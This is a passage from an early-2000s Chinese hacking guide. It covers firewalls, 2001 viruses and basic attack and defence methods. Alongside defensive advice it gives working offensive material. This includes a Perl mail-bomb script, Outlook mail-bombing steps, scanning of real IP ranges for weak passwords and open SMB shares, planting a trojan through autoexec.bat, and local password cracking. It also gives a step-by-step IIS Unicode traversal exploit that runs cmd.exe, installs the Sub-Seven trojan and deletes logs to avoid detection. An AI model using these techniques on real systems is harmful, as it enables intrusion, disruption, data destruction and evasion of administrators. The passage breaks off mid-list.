           代理服务(Proxy Service)也称链路级网关或TCP通道(Circuit Level Gateways or TCP Tunnels),也有人将它归于应用级网关一类。它是针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术,其特点是将所有跨越防火墙的网络通信链路分为两段。防火墙内外计算机系统间应用层的" 链接",由两个终止代理服务器上的" 链接"来实现,外部计算机的网络链路只能到达代理服务器,从而起到了隔离防火墙内外计算机系统的作用。此外,代理服务也对过往的数据包进行分析、注册登记,形成报告,同时当发现被攻击迹象时会向网络管理员发出警报,并保留攻击痕迹。
    三、防病毒从杀毒开始:
           2001年的七、八两月对反病毒厂家无疑是一段"幸福时光",先后爆发的Sircam和"红色代码"让国内的杀毒厂家们忙的不亦乐乎,上门求助的用户络绎不绝,代理商的订货单频频发来,用火爆形容此时的杀毒行业一点也不为过。病毒横行互联网并不一定是黑客所谓,但这也同样影响着互联网的安全,所以要做好网络安全工作还要时刻警惕病毒的产生。
           使用好的杀毒软件是防范病毒的明智选择,一个商家如何让自己的杀毒软件立于不败之地、一个用户如何选择优秀的杀毒软件?这些问题主要从下面三个方面来衡量:
           1、迅速消灭病毒
           从2001年4月至今,CIH、"欢乐时光"、"陷阱"、Sircam和红色代码病毒在世界各地大面积疯狂肆虐,对让人心有余悸的CIH,众多杀毒厂家已有了充分准备,但真正让他们经受考验的是紧随其后的几个恶性病毒。
           当这些病毒在国内出现苗头之际,兼备国内和国际病毒库的江民公司迅速查杀并发布了解决方案和升级程序,及时消灭了这些恶性病毒,将广大计算机用户的损失减小到最低程度。据江民公司技术人员透露,近来江民网站的访问量急剧上升,大量的计算机用户到江民网站了解病毒知识、下载升级程序、学习杀毒方法。这些现象都说明实效性对衡量杀毒软件好坏起到至关重要的影响。
           2、软件升级方便
           病毒的不可预期使得频频升级成了杀毒软件一大特点。而性能稳定,升级方便,则无疑会使用户在病毒到来时没有后顾之忧。例如网络上各种新病毒的产生,随之而来的是全新的杀毒概念——网络杀毒,用户上网通过浏览器就可以检测自己的系统中是否存在病毒、并进行清除,这对于今后的杀毒市场无疑是一个新方向、新概念。
           网络杀毒具有更高的时效性,并且可以轻松升级杀毒软件的病毒识别库,软件升级方便,让更多的病毒在没有大面积流行之前就断绝了它的传播途径,这种杀毒新概念的优越性是显而易见的。
           3、技术引领潮流
           说到底,技术还是决定一个杀毒软件的命脉。在反病毒领域,技术是检验真理的唯一标准。
           杀毒软件的牌子是杀出来的,谁最能杀,谁最能防,谁能在病毒发作后恢复丢失的文件和数据,谁又能引导该行业的技术潮流,不断推陈出新,与国际领先水平相比毫不逊色,谁就是最终的胜者,这也是广大计算机用户多年来形成的检验标准。如果哪个杀毒软件因为一点小漏洞给用户带来损失,那它自然就会失宠。
           占用资源少,扫描速度快,杀毒能力强,这是广大用户心目中理想的杀毒软件模型。对于网络蠕虫病毒查杀、宏病毒查杀、邮件防毒、未知病毒查杀、硬盘修复、智能升级和防黑客等在国际上领先的技术,是今天成功杀毒软件必不可少的功能。
    四、2001年流行病毒一览:
           这本《攻学兼防》是2001年8月写成的,而面对网络的瞬息万变,我也没有能力预测今后若干年会出现什么变故,因而只能做个简单的抛砖引玉,看看病毒流行和防范工作是如何进行的。
           公安部日前指出,目前我国计算机系统遭病毒感染和破坏的情况比较严重。据最近的一次调查表明,我国约73%的计算机用户曾感染过病毒,其中感染三次以上的用户高达59%,而且病毒的破坏性较大,全部数据被病毒破坏的占14%,部分损失的占57%。
           在随后美国一家反病毒公司的调查中显示,41%的调查者安装了杀毒软件,但这一部分人中,只有26%的人至少每月升级一次杀毒软件来防止最新病毒。而真正令人担忧的是,即使知道最近潜伏病毒威胁,比如Sircam、红色代码等病毒,大多数调查者仍然表示没有兴趣改变他们的在线安全习惯。
           从以上数据不难看出,全球的计算机信息安全问题依然任重道远,仍有许多计算机用户因缺乏足够的防范病毒意识和知识使病毒得以横行。这一点在我国更为明显,尤其是7、8月份以来,一些用户屡遭几种复发率较高的病毒如"欢乐时光"、CIH等的毒手。日前,国内权威反病毒专家王江民指出,虽然近期国内暂时没有大的疫情出现,但7、8月份延续而来的病毒高发期并没有过去, 9月,计算机用户应密切关注反病毒厂家的动态信息,重点防范四大病毒。
           1、“欢乐时光”首当其冲
           “欢乐时光”是今年4月底出现的一种通过电子邮件传播的VBS/HTM蠕虫类病毒,这种针对微软信件浏览器的弱点而编写的病毒已经被公认为上半年国内最具危险性的十大恶性病毒之一,它的传播性和危害性丝毫不比7、8月份流行的Sircam和"红色代码"逊色,而且它的复发率极强,当染毒计算机的日期为日+ 月=13时,该病毒就会死灰复燃。自5月8日第一次大规模爆发以来,尽管该病毒已被广大用户所熟知,但由于该病毒在感染上的特殊性,即作为邮件内容而不是作为附件传染,而且还有可能通过浏览被感染网站而遭受感染,所以几个月来,被该病毒感染的用户数量始终不减。
           2、Sircam“毒”占鳌头
           相信“Hi! How are you?”、“See you later.Thanks”这样的句子大家早已不再陌生了,这就是不断在肆意散发用户邮件及机密文档,但因只占用资源并未出现较大危害而使得许多用户在感染后还不知道的Sircam病毒。
           Sircam病毒是一种首发于英国的恶性网络蠕虫病毒,主要通过电子邮件附件进行传播,目前有A,B,C3个变种,在传播自身的同时,它也要大量将用户的 DOC、XLS、ZIP文档的前部贴上病毒体后再通过互联网到处乱发,已有相当多的政府机密文档和企业资料被泄密。如果受感染的机器上的日期的格式是:日 /月/年的话,那么在每年的10月16日该网络蠕虫程序会将C盘上的所有文件以及目录删除;在该网络蠕虫程序发现自身不完全时,该网络蠕虫程序就会将 WINDOWS安装目录所在的驱动器上的文件和所有的子目录完全删除;同时还会在系统的回收站中写入文件:Sircam.sys一直到硬盘的剩余空间为零。
           Sircam病毒在感染电脑后会自我复制,然后根据受感染电脑内的电子邮件地址寄出副本,并随机夹带出一个档案。同时该病毒并不针对任何特定的电子邮件软件,如微软(Microsoft)的Outlook等,该病毒拥有自己的电子邮件引擎,所以可能感染任何电子邮件的使用者。因此Sircam病毒比专家预期的更难以对付且存活时间更长,可以断言,该病毒在未来一段时期内仍将是全球电脑用户的头号大敌,对该病毒的防范意识和措施应继续加强。
           3、“红色代码”阴魂不散
           2001年8月份,尽管危害性最强的是迅速蹿至全球头号杀手的Sircam,尽管有权威专家在人们谈红色变时及时出来降了温,但近日“红色代码”再生变种的消息又让心有余悸的人不禁胆寒。
           公安部近期对“红毒”专门发布的通告称,“红色代码Ⅱ”病毒是一种具有严重危害后果的恶性病毒,该病毒具有传播速度快、可造成网络通讯阻塞、服务器瘫痪、含黑客远程控制程序等特征,它主要威胁使用Windows2000或NT操作系统的局域网、企业网和互联网,但没有像最近社会上传说的那样对全国网络系统造成巨大影响。截止2001年8月22日,我国受“红色代码Ⅱ”病毒感染的单位近600家,服务器1000余台,涉及全国20多个省区市。
           4、Funlove死缠烂打
           长期以来,WIN32.FunLove.4099病毒在我国感染率居高不下,屡杀不尽,寻求解决方案的电话和邮件不断。尤其是NT服务器感染该病毒后的清除一直存在问题。江民公司、赛门铁克等几大反病毒厂家纷纷推出了自己的一整套解决方案,声称困扰计算机用户两年之久的 WIN32.FunLove.4099病毒有望根除,但截止目前,该病毒并没有被赶净杀绝。
           WIN32.FunLove.4099病毒是驻留内存的Win32病毒,它感染本地和网络中的PE-EXE文件,属于一种易监测、难杀除的顽劣病毒。当染毒的文件被运行时,该病毒将在Windows/system目录下创建FLCSS.EXE文件,在其中只写入纯代码部分,并运行这个生成的文件。
           一旦在创建FLCSS.EXE文件的时候发生错误,病毒将从染毒的主机文件中运行传染模块。该传染模块被作为独立的线程在后台运行,主机程序在执行时几乎没有可察觉的延时。
           传染模块将扫描本地从 C: to Z:的所有驱动器,然后搜索网络资源,扫描网络中的子目录树并感染具有.OCX, .SCR or .EXE扩展名的PE文件,当感染一个文件时,该病毒将其代码写到文件的尾部并且添加启动程序(8字节长的代码)将控制权传递给病毒体。当被激活,病毒将首先恢复这8字节的代码然后运行它的主程序。并在机器间完全共享的文件中极为迅速地传播,致使计算机长期处于“病态”。
           网络时代的病毒常常是不可预见的,正如2001年7月涌现Sircam、8月泛滥"红色代码",9月是否新的计算机安全杀手又将横空出世尚不可知。时至今日,通过网络滋生和传播的病毒已达60%以上,让人类从经济和精神上饱受打击,对病毒的防范,除了呼唤更好的单机版杀毒软件为个人用户筑起一道坚实的防护墙,除了期盼更安全的网络版防杀毒系统为企事业单位竖起牢固的盾牌,除了希望杀毒厂家能提供更优质及时的升级服务和技术支持外,其余能做的,只有牢记象与病毒征战了十余年的王江民那样的专家不断重复的几句话:一是要养成备份文件的习惯,二是及时升级杀毒软件以最大限度地减少损失,三是学会利用杀毒软件进行灾难恢复。
           与病毒抗争,永远都是:亡羊补牢犹为晚

    第一节、最简单的几种攻击和防范方法
           本节介绍的攻击方法是为后面专门介绍相关内容做铺垫,读者在学习的时候应该多了解一些有关Perl和网站的知识,如果可能,最好在自己的系统中安装一套网站服务程序,然后寻找一些免费的Perl代码进行调试、研究。
    一、攻击免费论坛:
           这里介绍的攻击非常简单,它所达到的效果就是获得论坛管理员密码、具有修改论坛的权限等,所以并不设计漏洞扫描和清除痕迹等步骤。首先介绍一下问题的起源:在网络上很多网站都提供了论坛或者电子留言版,这些服务大多数使用asp、php、cgi或者perl编写完成,而对于这些免费的论坛代码黑客也能够获得,因此只要经过分析就可以找到“免费软件中的缺陷”,进而对网站上提供的论坛进行攻击。
           例如http://www.tougao.com/网站提供的“稿件管理系统”就存在一个很严重的问题(本人已经和他们联系并说明此漏洞、相关漏洞现已修复),让我们看看通过浏览器访问它的形式,当我们阅读其中的稿件时,会发现在URL内的地址是/list.asp?articleid=nnnn,显然list.asp是显示文章的程序,而后面的? articleid=nnnn则是它的参数,nnnn是文章的编号。当黑客申请成为tougao网站的一员后,便拥有了上传文章和修改、删除自己发表文章的权利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn应该是自己的文章代码,但是如果黑客将文章代码改变会怎么样呢?
           修改了文章代码后发现,可以对其他文章进行修改!也就是说任何经过免费注册成为tougao网站的用户都可以拥有修改任意文章的权利,同时使用delarticleself.asp则可以删除任何文章!
           一次攻击过程我已经叙述完了,是不是非常简单?其实像这种问题网络上随处可见,好好想一下,如果对nnnn的修改进行的更“不着边际”,例如输入几个英文字母或者标点符号会出现什么情况?经过尝试发现,当属的数值为“单引号”是,系统会出现错误并报告数据库文件的名称、磁盘物理路径等敏感信息,这样就可以直接通过下载软件将他们的数据库下载到本地并从中找到管理员账号。
           在早期的YukiBBS3000上,当注册者的注册信息内包含单引号时,也会出现“程序运行错误”的提示,并且造成论坛的内部数据错误,彻底终止论坛的正常运行。
    二、防范攻击:
           相对来说,网易、新浪等大型门户网站在这方面做的比较好,他们对文章ID号进行了判断,防止特殊字符的介入,如果使用者输入了非法的字符,经过检测系统会提示输入的ID号码非法,并且拒绝接受请求,返回一个“输入字符非法”的界面。
           另外对于文章的修改,他们也考虑的非常周到,在进行每一次文章修改的时候,系统都会检测用户身份,确定准备修改的文章是否属于登陆身份,如果不属于则会提出警告信息。而实际上,这种问题在早期他们的网站上也是存在的,只不过因管理员网络安全意识比较强,因此即使的发现并修补了漏洞。
           cgi、perl等程序在设计的时候,必须考虑到各种可能出现的情况,例如对文件名的提交必须考虑周到,一个程序没有考虑到的特殊名称也许会对系统造成非常严重的后果,用户输入一个文件名,有可能就试图打开输入危险字符串!例如用户输入的文件名中包含路径字符,如目录斜杠和双点!尽管你期望的是输入公用的文件名(例如report.txt),但结果却可能是/report.txt或../../report.txt等等,系统中所有文件就有可能泄露出去,后果是可想而知的。
           设计cgi、perl程序,最好能够在代码中加入下面的非常字符检测代码:
               if(($file_name=~/[^a-zA-Z_/.]/)||($file_name=~/^/./))
               { #文件包含有不合法字符 }
           另外还要注意对大于号、小于号的判断,因为这两种符号是html文档中的属性符号,不进行屏蔽会对论坛造成严重的后果,网络上不是有很多“小儿科”的聊天室踢人术吗?简单的方式是不允许小于号和大于号的出现,因为所有HTML语法必须包含在这两个字符间,如果程序检测到它们就返回一个错误提示,下面一行 Perl代码快速地清除了这两个字符:
               $user_input=~s/<>//g;
           当然还有比较好的选择,就是将这两个字符转换成它们的HTML换码(特殊的代码),用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号,用>替换了大于符号,从而完成了转换过程:
               $user_input=~s/</& lt;/g;
               $user_input=~s/>/& gt;/g;
    三、编写简单的邮件炸弹:
           利用Perl程序可以非常快速的编写邮件炸弹程序,这种方法比起直接使用别人编写的邮件炸弹要好的多,至少学习者能够真正“体会一下”什么才是黑客。有关这个炸弹的编译环境是具备一台有CGI权限的网络服务器,同时这台服务器上提供了sendmail命令(当然这一切可以在自己的系统上进行设置),并且学习着还要初步了解有关perl语言的知识。
           程序的原理非常简单,就是利用sendmail命令向目标重复发送相同内容的电子邮件,为了控制发送邮件的数量,我们声明一个计数器变量,同时将程序用while()函数做循环,下面我们看一下程序的源代码:

    #!/bin/perl
    $file='/user/lib/sendmail';
    $target='someone@target.com';
    $count=0;
    while($count<1000){
               open(MAIL,"/$file$target") || die" Can not open $file!/n
               print MAIL"哈哈,你被攻击啦"
               close(MAIL);
               sleep 3;
               $count++;
    }

           看明白了吗?程序就上面这点儿,是不是非常简单?因为Perl属于解释型语言,因而不需要进行编译,直接将源代码上传到服务器上,然后设置成为755或者 775型,就可以通过浏览器调用而直接使用了。程序中的$file和$target变量分别定义了sendmail命令的路径和目标的地址,在使用此程序以前要根据个人需要进行修改,而$count变量是我们要发送的炸弹邮件数量,因为发送邮件工作是服务器完成的,因而速度非常快,这个数量可以设置的大一些,我们并不会感觉到程序的缓慢。
    四、使用Outlook制作电子邮件炸弹:
           相对上一种方法,这个方法更加直接,它不需要专用工具而只需要利用Outlook电子邮件客户端软件就可以轻松完成。首先介绍一下邮件炸弹的基本原理:电子邮件炸弹一般来说分成两种。一种是通过发送巨大的垃圾邮件使对方电子邮件服务器空间溢出,从而造成无法接受电子邮件;另一种方法是无休止的发送相同内容的但很小的邮件使对方接收不过来而放弃自己的电子邮箱。因此我们只要实现其中的一种即可称之为“邮件炸弹”。
           使用Outlook制作电子邮件炸弹就是利用了上面说的第二种方法,不断的向指定目标发送电子邮件,首先我们要做一些准备工作:申请一个免费的电子信箱,并把这个信箱账号设置到Outlook中,然后选择Outlook工具菜单的“工具”-〉“账号”,选择其中刚刚申请的那个电子邮件账号,然后点击窗口右面的“属性”按钮。在出现的属性窗口中继续点击窗口上面的“高级”标签,更改“发送”设置中的“邮件拆分大小”属性值,这个值尽量更改的小一些(推荐更改成16),确认退出。
           这样以后只要使用这个经过设置的电子信箱发电子邮件,只要邮件的大小超过了规定的字节数,Outlook就会自动将电子邮件进行分割,例如一封 1600KB的信件,将它拆分成16KB一封的电子邮件发送给对方,对方的信箱中就会出现100多封电子邮件,邮件炸弹的功能就实现了!
    五、如何防止电子邮件炸弹:
           电子邮件的防范可以从多个方面着手,例如未雨绸缪、从开始就谨慎的使用电子信箱,或者也可以亡羊补牢、尽快修复电子信箱,在网络上,大多数关于防范邮件炸弹的文章都说的是Linux等系统,而真正涉及初级用户的并不是很多,然是实际更多的人使用的还是Windows系统,即便pop3服务器是Linux系统,现在也没有更多的人通过传统的命令方式接收邮件了,这里将讲述一个与读者联系紧密的防止电子邮件炸弹的方法。
           1、不公开信箱地址、准备多个信箱:
           早作准备,不让黑客知道自己的电子信箱地址是最好的方法,这就需要使用者在网络上尽量少的公开自己的信箱地址,不要轻易将地址留给不认识的人或者留在电子论坛上。当然,如果可以,使用者可以多申请几个电子信箱,不同的信箱联络不同的人,专门预备出一个公开的电子信箱,一旦受到攻击也不会造成过多的损失。
           2、使用软件快速清理炸弹邮件:
           使用BombCleaner等炸弹清理软件,可以在不接受信件的时候察看邮件清单,从中选择垃圾信件进行远程删除,这样做可以节省大量下载信件的时间,同时也堵住了通过电子邮件传播的病毒。但是这种方法有它最明显的缺陷:一旦信箱已经被邮件塞满了,就来不及删除上面的信件、而且信发送过来的重要信件也无法接收了。
           3、设置信箱过滤:
           信箱过滤可以很好的解决上面软件解决不了的问题。过滤器可以设置在本地的电子邮件客户端程序上,也可以直接通过浏览器在pop3信箱的内部进行设置,前者和上面介绍的利用软件基本类似,也是在接收电子邮件的时候对邮件是否属于垃圾或炸弹进行判断,所以在信箱被塞满的时候也不见的起到什么效果。
           但是如果能够在pop3服务器上设置自己信箱的过滤,就可以从根本上避免被攻击的可能了。具体做法是这样的,通过浏览器登陆到pop3服务器上,然后进入自己的信箱,之后找到“邮件收发设置”,并且在其中的过滤器内填写有关发送垃圾邮件的邮件地址(多个地址可以用分号隔开),并且确认保存,这样就能够在服务器上过滤掉炸弹邮件、保障自己的电子信箱安全了。
           4、设置接收邮件的大小:
           如果黑客发送过来的不是成百上千封“小信件”,而是一封上百兆的炸弹怎么办呢?这种邮件不需要多少,一封过来就可以把电子信箱塞的满满的,所以用户在设置 “过滤”的时候,还要注意“接收信件大小”选项,最好将这个数值控制在电子信箱的三分之一左右。例如使用者的电子信箱空间是三十兆,那么可以通过设置规定接收信件的大小不得超过十兆每一封,如果超过了这个数值,那么来信将被确认为邮件炸弹,而直接被系统舍弃,这样邮件炸弹便再无施展自己的空间了。
    六、弱口令与共享服务攻击:
           “弱口令”和“共享”都是指系统在设置过程中忽略了网络安全的考虑而带来的安全隐患,例如当我们假设一个FTP服务器的时候,软件在默认情况下会有很多开放的登录账号,如果没有删除这些账号就将系统投入使用,那么任何人都可以通过这些预先设置的账号进行系统登录。
           使用xscanner可以进行“弱口令扫描”,使用者通过-ntpass参数进行操作,假设我们现在对61.135.50.1- 61.135.50.254进行扫描,可以用xscanner 61.135.50.1-61.135.50.254 -v -ntpass完成整个C类段的扫描,并且从结果中找到存在弱口令的系统进行远程登录。
           下面我来介绍一个更加直接的方法:
           首先要使用SMBScanner共享扫描软件进行扫描,运行这个软件并在IP地址段内输入开始和结束扫描的IP地址,然后单击start按钮就可以了,在扫描过程中,SMBScanner会随时显示找到的服务器,并且显示出来。将其中一个IP地址记录下来(例如61.135.60.24),然后运行浏览器,并在URL地址输入栏内输入“//61.135.60.24”,等待一会儿,就会发现对方的硬盘信息显示在浏览器窗口内了。
           之后我们可以对显示出来的文件进行操作,当然有的系统可能在共享目录中设置了密码,破解密码的工作会在以后学习,这是学习者可以换一个IP继续尝试,另外很多系统设置的共享目录都没有限制“写”权限,这个时候我们就可以上船一个木马程序并修改系统的autoexec.bat文件,这样当系统下一次启动时,就会将上传的木马程序激活,入侵者就可以完全掌握对方的电脑系统了。
           这看上去是不是很过瘾?但是千万不要只局限在这里,因为这不过是利用软件完成的一个极为简单的黑客动作,还不能真正称得上是黑客!我不提倡大家使用这种方法,也不提倡利用各种现成软件当黑客,学习者要通过这个软件的使用学习有关NetBIOS和SMB的知识,下面让我们看看这其中隐藏的原理:
           说先介绍一下网络协议:网络协议是用于各种网络服务之间信息传递的标准,现在流行的网络协议主要有TCP/IP协议,还有用于局域网的IPX协议,在这些协议中,NetBIOS是一个基本协议,它负责文件、目录、打印机等共享设备的管理,可以被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通,而对于视窗系统来说,这个协议叫做SMB(Server Message Block),通过这个协议可以访问共享被其他用户许可的文件和文件夹。
           也正是由于SMB的存在,才使得黑客可以轻而易举的进入到开放了共享目录的系统中,如果有一天学习者突然发现自己的系统“桌面”上突然多了一个文件,那么不要奇怪,这很可能就是某个朋友进到系统之后给您留下来的警告信息。
    七、本地密码破解:
           网络黑客通常都是通过各种手段破解远程服务器上的密码的,而对于网吧、公司之类的地方,任何人都可以接触到本地电脑,这样本地电脑里面的密码就也有可能被黑客破解,例如今天流行的oicq软件在本地就是存在一个记录密码的文件,黑客得到了这个文件就可以对oicq进行破解了。下面我们看看本地电脑中常见的几种密码和想对应的破解过程:
           1、开机密码:
           开机密码,也就是CMOS密码,根据用户设置的不同,开机密码一般分为两种不同情况,一种就是Setup密码(采用此方式时,系统可直接启动,而仅仅只在进入BIOS设置时要求输入密码);另一种就是System密码(采用此方式时,无论是直接启动还是进行BIOS设置都要求输入密码,没有密码将一事无成)。对于用户设置的这两种密码,我们的破解方法是有所区别的。
           (1)Setup密码:
           如果计算机能正常引导,只是不能进入BIOS设置(即设置了Setup密码),那么我们在遗忘密码之后只需在DOS状态下启动DEBUG,然后输入如下命令即可手工清除密码:
               - o 70 16
               - o 71 16
               - q
           另外,不熟悉DEBUG的用户也可到http://www.newhua.com/down/Cmospwd.zip下载一个专门破解CMOS密码的工具软件Cmospwd。然后在DOS启动该程序,它就会将用户的CMOS密码显示出来(Cmospwd支持Acer、 AMI、AWARD、COMPAQ、DELL、IBM、PACKARD BELL、PHOENIX、ZENITH AMI等多种BIOS),使用非常方便。
           (2)System密码:
           若没有密码根本不能启动计算机(即设置了System密码),那我们就无法通过软件来解决密码遗忘的问题了。此时惟一的方法就是打开机箱,给CMOS放电,清除CMOS中的所有内容(当然也就包括密码),然后重新开机进行设置。另外,有些主板设置了CMOS密码清除跳线,将该跳线短接也可达到同样的目的 (详情参见主板说明书)。
           2、Windows操作系统密码:
           (1)Windows启动密码:
           遗忘Windows的启动密码虽然不会影响系统的启动,但它将导致用户无法进入自己的个人设置,因此破解Windows的启动密码以找回“丢失”的“个性”也是很有必要的。为此,我们可删除Windows安装目录下的*.PWL密码文件及Profiles子目录下的所有个人信息文件,然后重新启动 Windows,系统就会弹出一个不包含任何用户名的密码设置框,我们无需输入任何内容,直接点击“确定”按钮,Windows密码即被删除。另外,运行 “regedit.exe”,打开注册表数据库“HKEY_LOCAL_MACHINE”→“Network”→“Logon”分支下的 “UserProfiles”修改为“0”,然后重新启动Windows也可达到同样的目的。
           (2)电源管理密码:
           Windows的电源管理功能也可以设置密码,设置此功能后,系统在从节能状态返回时就会要求输入密码,从而在一定程度上实现保护系统的目的。不过由于电源管理功能的密码与Windows的启动密码完全一样,因此我们只要按照前面的方法破解了Windows的启动密码,其电源管理密码也就不攻自破了。
           (3)屏幕保护密码:
           Windows的屏幕保护程序中有一个“密码设置”,可以通过设置让系统在处于屏幕保护状态时无法终止程序,这样做可以有效的避免他人操作个人系统,但是这一屏幕保护密码也是有它的安全隐患的,经过下面几种操作都可以轻易绕过屏幕保护的密码验证机制。
           第一种方法比较简单,在屏幕保护出现弥马提示窗口的时候,直接在电脑的光驱中放入一张带有Aurorun的光盘,光盘放入之后系统会自动执行光盘内容,屏幕保护程序被终止,同时不需要输入任何密码!
           另外还可以使用OOB攻击,通过WinNuke之类的OOB攻击工具对系统进行攻击,存在问题的Windows系统会出现蓝屏,随便输入任意键系统就会终止屏幕保护程序了。
           如果一台机器尚未运行屏保,那就更简单了,运行regedit,看看/HKEY_CURRENT_USER/Control Panel/desktop/ScreenSave_Data,里面就是加过密的屏幕保护密码了。如果不想练练解密,就干脆删了它,如果想当回 hacker,那就自己试试加不同的密码看看能不能找出它的算法。Windows屏保的加密算法很弱智,从这里也能看出微软对Windows的安全性其实并不在乎。
           (4)拨号账户密码:
           个人拨号上网的账号和密码都是保存在系统的windows/*.pwl文件中的,从网络上下载一个可以察看Windows密码的Passthief软件,然后运行软件并输入准备破解的pwl文件,很快个人上网密码就可以显示出来了。
           从上面的介绍中可以看出,Windows的密码保护功能并不完善,无论是开机密码还是屏幕保护、电源管理密码都非常脆弱,我们必须辅之以其他控制措施才能达到防止他人入侵的目的。
    八、防范上网账号、密码被盗:
           在网络上使用的很多密码中,上网账号的密码最为重要。它最初是网络服务商给的,网络服务商当然知道你的密码。一般来说,当你购买了网络服务商的上网帐号后,网络服务商都会叫你上网之后尽快更改你的密码。设置的新密码最好是数字、字母、特殊符号的结合。如果你的上网账号密码被别人窃取,那么他就可以使用你的账号上网,而网络费用却都要记在你的账号上。
           因此这个密码对于上网者来说是比较重要的,要保证密码的安全,应该考虑一下几点:
           1、在上网的拨号程序中不要选择保存密码,因为选择了保存密码,Windows就会将密码保存到电脑里,它会给这个密码起一个后缀为pwl的文件,别人接触你的电脑就能很容易地看到这个文件,密码也就会暴露无遗。假如有黑客从网络上进入你的电脑,他可以用一种黑客程序攻破系统,找到你保存的密码文件,并获取你的上网账号和密码。如果你不保存密码,你的电脑里就不会有后缀为pwl的有关密码的文件,黑客也就不好窃取。
           2、在申请上网账号的时候,要选择只允许一次接入,就是当你拨号上网的时候,其它机器再次使用这个账号无法拨号上网,那么当你拨号上网时发现无法拨入的时候一定是其他人在盗用你的账号让你无法拨号上网。
           3、在申请上网账号的时候,一定要指定电话号码拨入,可以设定几个你常用的电话号码(家里的或单位的)。只有你指定的电话号码才可以使用这个账号拨号上网。即使别人拿到了你的密码也无法使用。
           4、设置不同的密码。网络上要求你设置密码的地方很多,你在设置这些密码时可不要图省事设成相同的,这样你的密码很快就会变成“明码”。因为,黑客一旦获取了你的一个密码之后,他就会用这个密码尝试着解开其它设置密码的地方,比如你的E-mail密码,那么你的电子邮件的秘密也就会暴露在网上了。更有甚者,有人得到了你的密码,就会以你的名义胡作非为,损坏你的形象,给你惹来麻烦。
           5、不要向任何人透露你的密码。有人甚至会在网络上冒充网络服务商,给你发来邮件,说是系统要更新,需要提供你的密码,以便更新系统。这是地地道道的谎言。因为更新系统与你的密码无关,而且任何一个网络服务商也不会向你索取密码的。
           6、经常上你所在的网络服务商主页进行账号查询,检查你的连接上网时间是否和你平时上网的时间一致,如果有重复或你没有使用账号却有连接记录时,证明你的账号被盗用了,一定要立刻修改密码。

    第三章、黑客攻击过程 
    第二节、实际攻击
    一、中美黑客对战中的UNICODE漏洞利用:
           2001年4月开始,中美黑客又一次在网络上展开了没有硝烟的战斗,这次黑客攻击主要是依靠UNICODE漏洞,利用这个漏洞黑客可以远程调用服务器的 cmd命令解释器,对服务器磁盘进行各种操作,配合上传的木马等程序,这个漏洞载当时给互联网带来的威胁是巨大的。
           1、UNICODE原理:
           此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的:
               %c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
               %c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '/'
           黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:/webroot/,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。
           2、检测方法:
           如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测:
        http://www.acc.com/scripts/..%c0 ... em32/cmd.exe?/c+dir
           如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“- iis”。
           3、分析漏洞:
           获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马。
           例如http://www.acc.com/scripts/..%c0 ... 2/cmd.exe?/c+dir+c:/game可以使用dir命令列出服务器的c:/game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。
           4、完整利用:
           现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。
           首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作:
        http://www.bnc.org/scripts/..%c1 ... 2/cmd.exe?/c+dir+c:/
           这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下:
           /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:/webroot/scripts/abc.exe
           这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行 cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:/game等形式直接调用cmd.exe命令。
           使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上//www.bnc.org/,之后上传木马程序sub-seven的服务端到scripts下。
           最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:/winnt/log下的日志文件,这样系统管理员就不会发现此次入侵活动了。

    二、更多的漏洞:
           上面介绍的是通过UNICODE漏洞进行入侵的过程,在微软的IIS中还有更多的漏洞可以利用:
           1、Null.htw
